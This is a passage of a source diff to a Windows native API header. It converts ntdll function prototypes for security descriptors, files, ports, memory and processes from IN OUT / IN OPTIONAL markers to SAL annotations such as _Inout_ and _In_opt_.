+14355,7 @@ NTAPI RtlMakeSelfRelativeSD ( IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, - IN OUT PULONG BufferLength + _Inout_ PULONG BufferLength ); NTSTATUS @@ -14363,7 +14363,7 @@ NTAPI RtlAbsoluteToSelfRelativeSD ( IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, - IN OUT PULONG BufferLength + _Inout_ PULONG BufferLength ); NTSTATUS @@ -14371,22 +14371,22 @@ NTAPI RtlSelfRelativeToAbsoluteSD ( IN PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, OUT OPTIONAL PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, - IN OUT PULONG AbsoluteSecurityDescriptorSize, + _Inout_ PULONG AbsoluteSecurityDescriptorSize, OUT OPTIONAL PACL Dacl, - IN OUT PULONG DaclSize, + _Inout_ PULONG DaclSize, OUT OPTIONAL PACL Sacl, - IN OUT PULONG SaclSize, + _Inout_ PULONG SaclSize, OUT OPTIONAL PSID Owner, - IN OUT PULONG OwnerSize, + _Inout_ PULONG OwnerSize, OUT OPTIONAL PSID PrimaryGroup, - IN OUT PULONG PrimaryGroupSize + _Inout_ PULONG PrimaryGroupSize ); NTSTATUS NTAPI RtlSelfRelativeToAbsoluteSD2 ( - IN OUT PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, - IN OUT PULONG pBufferSize + _Inout_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + _Inout_ PULONG pBufferSize ); NTSTATUS @@ -14633,7 +14633,7 @@ RtlGetDefaultCodePage( VOID NTAPI RtlInitializeRangeList( - IN OUT PRTL_RANGE_LIST RangeList + _Inout_ PRTL_RANGE_LIST RangeList ); VOID @@ -14652,7 +14652,7 @@ RtlCopyRangeList( NTSTATUS NTAPI RtlAddRange( - IN OUT PRTL_RANGE_LIST RangeList, + _Inout_ PRTL_RANGE_LIST RangeList, IN ULONGLONG Start, IN ULONGLONG End, IN UCHAR Attributes, @@ -14664,7 +14664,7 @@ RtlAddRange( NTSTATUS NTAPI RtlDeleteRange( - IN OUT PRTL_RANGE_LIST RangeList, + _Inout_ PRTL_RANGE_LIST RangeList, IN ULONGLONG Start, IN ULONGLONG End, IN PVOID Owner @@ -14673,7 +14673,7 @@ RtlDeleteRange( NTSTATUS NTAPI RtlDeleteOwnersRanges( - IN OUT PRTL_RANGE_LIST RangeList, + _Inout_ PRTL_RANGE_LIST RangeList, IN PVOID Owner ); @@ -14724,7 +14724,7 @@ RtlGetLastRange( NTSTATUS NTAPI RtlGetNextRange( - IN OUT PRTL_RANGE_LIST_ITERATOR Iterator, + _Inout_ PRTL_RANGE_LIST_ITERATOR Iterator, OUT PRTL_RANGE *Range, IN BOOLEAN MoveForwards ); @@ -14877,7 +14877,7 @@ NtQuerySystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, OUT OPTIONAL PVOID Value, - IN OUT PULONG ValueLength, + _Inout_ PULONG ValueLength, OUT OPTIONAL PULONG Attributes ); @@ -14887,7 +14887,7 @@ NTAPI NtSetSystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, - IN OPTIONAL PVOID Value, + _In_opt_ PVOID Value, IN ULONG ValueLength, IN ULONG Attributes ); @@ -14898,7 +14898,7 @@ NTAPI NtEnumerateSystemEnvironmentValuesEx ( IN ULONG InformationClass, OUT PVOID Buffer, - IN OUT PULONG BufferLength + _Inout_ PULONG BufferLength ); @@ -14928,7 +14928,7 @@ NTSTATUS NTAPI NtEnumerateBootEntries ( OUT OPTIONAL PVOID Buffer, - IN OUT PULONG BufferLength + _Inout_ PULONG BufferLength ); @@ -14936,7 +14936,7 @@ NTSTATUS NTAPI NtQueryBootEntryOrder ( OUT OPTIONAL PULONG Ids, - IN OUT PULONG Count + _Inout_ PULONG Count ); @@ -14952,7 +14952,7 @@ NTSTATUS NTAPI NtQueryBootOptions ( OUT OPTIONAL PBOOT_OPTIONS BootOptions, - IN OUT PULONG BootOptionsLength + _Inout_ PULONG BootOptionsLength ); @@ -14970,7 +14970,7 @@ NtTranslateFilePath ( IN PFILE_PATH InputFilePath, IN ULONG OutputType, OUT OPTIONAL PFILE_PATH OutputFilePath, - IN OUT OPTIONAL PULONG OutputFilePathLength + _Inout_opt_ PULONG OutputFilePathLength ); @@ -15000,7 +15000,7 @@ NTSTATUS NTAPI NtEnumerateDriverEntries ( OUT PVOID Buffer, - IN OUT PULONG BufferLength + _Inout_ PULONG BufferLength ); @@ -15008,7 +15008,7 @@ NTSTATUS NTAPI NtQueryDriverEntryOrder ( OUT PULONG Ids, - IN OUT PULONG Count + _Inout_ PULONG Count ); @@ -15032,7 +15032,7 @@ NTAPI NtCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); @@ -15094,7 +15094,7 @@ NTAPI NtCreateEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes ); @@ -15154,7 +15154,7 @@ NTAPI NtCreateMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN InitialOwner ); @@ -15192,7 +15192,7 @@ NTAPI NtCreateSemaphore ( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN LONG InitialCount, IN LONG MaximumCount ); @@ -15232,7 +15232,7 @@ NTAPI NtCreateTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN TIMER_TYPE TimerType ); @@ -15270,10 +15270,10 @@ NTAPI NtSetTimer ( IN HANDLE TimerHandle, IN PLARGE_INTEGER DueTime, - IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, - IN OPTIONAL PVOID TimerContext, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, IN BOOLEAN ResumeTimer, - IN OPTIONAL LONG Period, + _In_opt_ LONG Period, OUT OPTIONAL PBOOLEAN PreviousState ); @@ -15288,7 +15288,7 @@ NtQuerySystemTime ( NTSTATUS NTAPI NtSetSystemTime ( - IN OPTIONAL PLARGE_INTEGER SystemTime, + _In_opt_ PLARGE_INTEGER SystemTime, OUT OPTIONAL PLARGE_INTEGER PreviousTime ); @@ -15393,7 +15393,7 @@ NTAPI NtCreateKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Flags ); @@ -15413,7 +15413,7 @@ NtReleaseKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -15423,7 +15423,7 @@ NtWaitForKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -15441,7 +15441,7 @@ NTSTATUS NTAPI NtSetSystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, - IN OPTIONAL PVOID SystemInformation, + _In_opt_ PVOID SystemInformation, IN ULONG SystemInformationLength ); @@ -15450,7 +15450,7 @@ NTSTATUS NTAPI NtSystemDebugControl ( IN SYSDBG_COMMAND Command, - IN OPTIONAL PVOID InputBuffer, + _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength, @@ -15464,7 +15464,7 @@ NtRaiseHardError ( IN NTSTATUS ErrorStatus, IN ULONG NumberOfParameters, IN ULONG UnicodeStringParameterMask, - IN OPTIONAL PULONG_PTR Parameters, + _In_opt_ PULONG_PTR Parameters, IN ULONG ValidResponseOptions, OUT PULONG Response ); @@ -15531,7 +15531,7 @@ NtDisplayString ( NTSTATUS NTAPI NtAddAtom ( - IN OPTIONAL PWSTR AtomName, + _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); @@ -15540,7 +15540,7 @@ NtAddAtom ( NTSTATUS NTAPI NtFindAtom ( - IN OPTIONAL PWSTR AtomName, + _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); @@ -15588,7 +15588,7 @@ NtCreateNamedPipeFile ( IN ULONG MaximumInstances, IN ULONG InboundQuota, IN ULONG OutboundQuota, - IN OPTIONAL PLARGE_INTEGER DefaultTimeout + _In_opt_ PLARGE_INTEGER DefaultTimeout ); @@ -15625,9 +15625,9 @@ NTSTATUS NTAPI NtNotifyChangeDirectoryFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, @@ -15662,7 +15662,7 @@ NtQueryEaFile ( IN BOOLEAN ReturnSingleEntry, IN PVOID EaList, IN ULONG EaListLength, - IN OPTIONAL PULONG EaIndex OPTIONAL, + _In_opt_ PULONG EaIndex OPTIONAL, IN BOOLEAN RestartScan ); @@ -15674,12 +15674,12 @@ NtCreateFile ( IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, - IN OPTIONAL PLARGE_INTEGER AllocationSize, + _In_opt_ PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, - IN OPTIONAL PVOID EaBuffer, + _In_opt_ PVOID EaBuffer, IN ULONG EaLength ); @@ -15688,12 +15688,12 @@ NTSTATUS NTAPI NtDeviceIoControlFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, - IN OPTIONAL PVOID InputBuffer, + _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength @@ -15704,12 +15704,12 @@ NTSTATUS NTAPI NtFsControlFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, - IN OPTIONAL PVOID InputBuffer, + _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength @@ -15720,9 +15720,9 @@ NTSTATUS NTAPI NtLockFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, @@ -15748,15 +15748,15 @@ NTSTATUS NTAPI NtQueryDirectoryFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, - IN OPTIONAL PUNICODE_STRING FileName, + _In_opt_ PUNICODE_STRING FileName, IN BOOLEAN RestartScan ); @@ -15780,9 +15780,9 @@ NtQueryQuotaInformationFile ( OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, - IN OPTIONAL PVOID SidList, + _In_opt_ PVOID SidList, IN ULONG SidListLength, - IN OPTIONAL PSID StartSid, + _In_opt_ PSID StartSid, IN BOOLEAN RestartScan ); @@ -15802,14 +15802,14 @@ NTSTATUS NTAPI NtReadFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, - IN OPTIONAL PLARGE_INTEGER ByteOffset, - IN OPTIONAL PULONG Key + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key ); @@ -15849,14 +15849,14 @@ NTSTATUS NTAPI NtWriteFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, - IN OPTIONAL PLARGE_INTEGER ByteOffset, - IN OPTIONAL PULONG Key + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key ); @@ -15875,14 +15875,14 @@ NTSTATUS NTAPI NtReadFileScatter ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, - IN OPTIONAL PLARGE_INTEGER ByteOffset, - IN OPTIONAL PULONG Key + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key ); @@ -15900,14 +15900,14 @@ NTSTATUS NTAPI NtWriteFileGather ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, - IN OPTIONAL PLARGE_INTEGER ByteOffset, - IN OPTIONAL PULONG Key + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key ); @@ -15930,7 +15930,7 @@ NTAPI NtCreateIoCompletion ( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Count OPTIONAL ); @@ -15960,7 +15960,7 @@ NTAPI NtSetIoCompletion ( IN HANDLE IoCompletionHandle, IN PVOID KeyContext, - IN OPTIONAL PVOID ApcContext, + _In_opt_ PVOID ApcContext, IN NTSTATUS IoStatus, IN ULONG_PTR IoStatusInformation ); @@ -15973,7 +15973,7 @@ NtRemoveIoCompletion ( OUT PVOID *KeyContext, OUT PVOID *ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -16017,7 +16017,7 @@ NtCreatePort( IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, - IN OPTIONAL ULONG MaxPoolUsage + _In_opt_ ULONG MaxPoolUsage ); @@ -16028,7 +16028,7 @@ NtCreateWaitablePort( IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, - IN OPTIONAL ULONG MaxPoolUsage + _In_opt_ ULONG MaxPoolUsage ); @@ -16038,11 +16038,11 @@ NtConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, - IN OUT OPTIONAL PPORT_VIEW ClientView, - IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + _Inout_opt_ PPORT_VIEW ClientView, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, - IN OUT OPTIONAL PVOID ConnectionInformation, - IN OUT OPTIONAL PULONG ConnectionInformationLength + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength ); @@ -16052,12 +16052,12 @@ NtSecureConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, - IN OUT OPTIONAL PPORT_VIEW ClientView, - IN OPTIONAL PSID RequiredServerSid, - IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, - IN OUT OPTIONAL PVOID ConnectionInformation, - IN OUT OPTIONAL PULONG ConnectionInformationLength + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength ); @@ -16073,10 +16073,10 @@ NTSTATUS NTAPI NtAcceptConnectPort( OUT PHANDLE PortHandle, - IN OPTIONAL PVOID PortContext, + _In_opt_ PVOID PortContext, IN PPORT_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, - IN OUT OPTIONAL PPORT_VIEW ServerView, + _Inout_opt_ PPORT_VIEW ServerView, OUT OPTIONAL PREMOTE_PORT_VIEW ClientView ); @@ -16117,7 +16117,7 @@ NTSTATUS NTAPI NtReplyWaitReplyPort( IN HANDLE PortHandle, - IN OUT PPORT_MESSAGE ReplyMessage + _Inout_ PPORT_MESSAGE ReplyMessage ); @@ -16126,7 +16126,7 @@ NTAPI NtReplyWaitReceivePort( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext , - IN OPTIONAL PPORT_MESSAGE ReplyMessage, + _In_opt_ PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage ); @@ -16136,9 +16136,9 @@ NTAPI NtReplyWaitReceivePortEx( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext, - IN OPTIONAL PPORT_MESSAGE ReplyMessage, + _In_opt_ PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -16190,11 +16190,11 @@ NTAPI NtCreateSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, - IN OPTIONAL PLARGE_INTEGER MaximumSize, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, - IN OPTIONAL HANDLE FileHandle + _In_opt_ HANDLE FileHandle ); @@ -16212,11 +16212,11 @@ NTAPI NtMapViewOfSection ( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, + _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN SIZE_T CommitSize, - IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, - IN OUT PSIZE_T ViewSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Win32Protect @@ -16235,7 +16235,7 @@ NTSTATUS NTAPI NtExtendSection ( IN HANDLE SectionHandle, - IN OUT PLARGE_INTEGER NewSectionSize + _Inout_ PLARGE_INTEGER NewSectionSize ); @@ -16251,9 +16251,9 @@ NTSTATUS NTAPI NtAllocateVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, + _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, - IN OUT PSIZE_T RegionSize, + _Inout_ PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); @@ -16263,8 +16263,8 @@ NTSTATUS NTAPI NtFreeVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG FreeType ); @@ -16273,7 +16273,7 @@ NTSTATUS NTAPI NtReadVirtualMemory ( IN HANDLE ProcessHandle, - IN OPTIONAL PVOID BaseAddress, + _In_opt_ PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead @@ -16284,7 +16284,7 @@ NTSTATUS NTAPI NtWriteVirtualMemory ( IN HANDLE ProcessHandle, - IN OPTIONAL PVOID BaseAddress, + _In_opt_ PVOID BaseAddress, IN CONST VOID *Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten @@ -16295,8 +16295,8 @@ NTSTATUS NTAPI NtFlushVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, OUT PIO_STATUS_BLOCK IoStatus ); @@ -16305,8 +16305,8 @@ NTSTATUS NTAPI NtLockVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); @@ -16315,8 +16315,8 @@ NTSTATUS NTAPI NtUnlockVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); @@ -16325,8 +16325,8 @@ NTSTATUS NTAPI NtProtectVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); @@ -16360,7 +16360,7 @@ NTAPI NtMapUserPhysicalPages ( IN PVOID VirtualAddress, IN ULONG_PTR NumberOfPages, - IN OPTIONAL PULONG_PTR UserPfnArray + _In_opt_ PULONG_PTR UserPfnArray ); @@ -16369,7 +16369,7 @@ NTAPI NtMapUserPhysicalPagesScatter ( IN PVOID *VirtualAddresses, IN ULONG_PTR NumberOfPages, - IN OPTIONAL PULONG_PTR UserPfnArray + _In_opt_ PULONG_PTR UserPfnArray ); @@ -16377,7 +16377,7 @@ NTSTATUS NTAPI NtAllocateUserPhysicalPages ( IN HANDLE ProcessHandle, - IN OUT PULONG_PTR NumberOfPages, + _Inout_ PULONG_PTR NumberOfPages, OUT PULONG_PTR UserPfnArray ); @@ -16386,7 +16386,7 @@ NTSTATUS NTAPI NtFreeUserPhysicalPages ( IN HANDLE ProcessHandle, - IN OUT PULONG_PTR NumberOfPages, + _Inout_ PULONG_PTR NumberOfPages, IN PULONG_PTR UserPfnArray ); @@ -16399,7 +16399,7 @@ NtGetWriteWatch ( IN PVOID BaseAddress, IN SIZE_T RegionSize, OUT PVOID *UserAddressArray, - IN OUT PULONG_PTR EntriesInUserAddressArray, + _Inout_ PULONG_PTR EntriesInUserAddressArray, OUT PULONG Granularity ); @@ -16427,7 +16427,7 @@ NTSTATUS NTAPI NtFlushInstructionCache ( IN HANDLE ProcessHandle, - IN OPTIONAL PVOID BaseAddress, + _In_opt_ PVOID BaseAddress, IN SIZE_T Length ); @@ -16465,7 +16465,7 @@ NTAPI NtDuplicateObject ( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, - IN OPTIONAL HANDLE TargetProcessHandle, + _In_opt_ HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, @@ -16493,7 +16493,7 @@ NtSignalAndWaitForSingleObject ( IN HANDLE SignalHandle, IN HANDLE WaitHandle, IN BOOLEAN Alertable, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -16502,7 +16502,7 @@ NTAPI NtWaitForSingleObject ( IN HANDLE Handle, IN BOOLEAN Alertable, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -16513,7 +16513,7 @@ NtWaitForMultipleObjects ( IN HANDLE Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -16524,7 +16524,7 @@ NtWaitForMultipleObjects32 ( IN LONG Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -16581,7 +16581,7 @@ NtQueryDirectoryObject ( IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, - IN OUT PULONG Context, + _Inout_ PULONG Context, OUT PULONG ReturnLength ); @@ -16609,7 +16609,7 @@ NTSTATUS NTAPI NtQuerySymbolicLinkObject ( IN HANDLE LinkHandle, - IN OUT PUNICODE_STRING LinkTarget, + _Inout_ PUNICODE_STRING LinkTarget, OUT PULONG ReturnedLength ); @@ -16618,7 +16618,7 @@ NTSTATUS NTAPI NtGetPlugPlayEvent ( IN HANDLE EventHandle, - IN OPTIONAL PVOID Context, + _In_opt_ PVOID Context, OUT PPLUGPLAY_EVENT_BLOCK EventBlock, IN ULONG EventBufferSize ); @@ -16628,7 +16628,7 @@ NTSTATUS NTAPI NtPlugPlayControl( IN PLUGPLAY_CONTROL_CLASS PnPControlClass, - IN OUT PVOID PnPControlData, + _Inout_ PVOID PnPControlData, IN ULONG PnPControlDataLength ); @@ -16637,7 +16637,7 @@ NTSTATUS NTAPI NtPowerInformation( IN POWER_INFORMATION_LEVEL InformationLevel, - IN OPTIONAL PVOID InputBuffer, + _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength @@ -16705,12 +16705,12 @@ NTAPI NtCreateProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN BOOLEAN InheritObjectTable, - IN OPTIONAL HANDLE SectionHandle, - IN OPTIONAL HANDLE DebugPort, - IN OPTIONAL HANDLE ExceptionPort + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort ); @@ -16719,12 +16719,12 @@ NTAPI NtCreateProcessEx( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN ULONG Flags, - IN OPTIONAL HANDLE SectionHandle, - IN OPTIONAL HANDLE DebugPort, - IN OPTIONAL HANDLE ExceptionPort, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, IN ULONG JobMemberLevel ); @@ -16735,20 +16735,20 @@ NtOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, - IN OPTIONAL PCLIENT_ID ClientId + _In_opt_ PCLIENT_ID ClientId ); NTSTATUS NTAPI NtTerminateProcess( - IN OPTIONAL HANDLE ProcessHandle, + _In_opt_ HANDLE ProcessHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI NtTerminateProcess ( - IN OPTIONAL HANDLE ProcessHandle, + _In_opt_ HANDLE ProcessHandle, 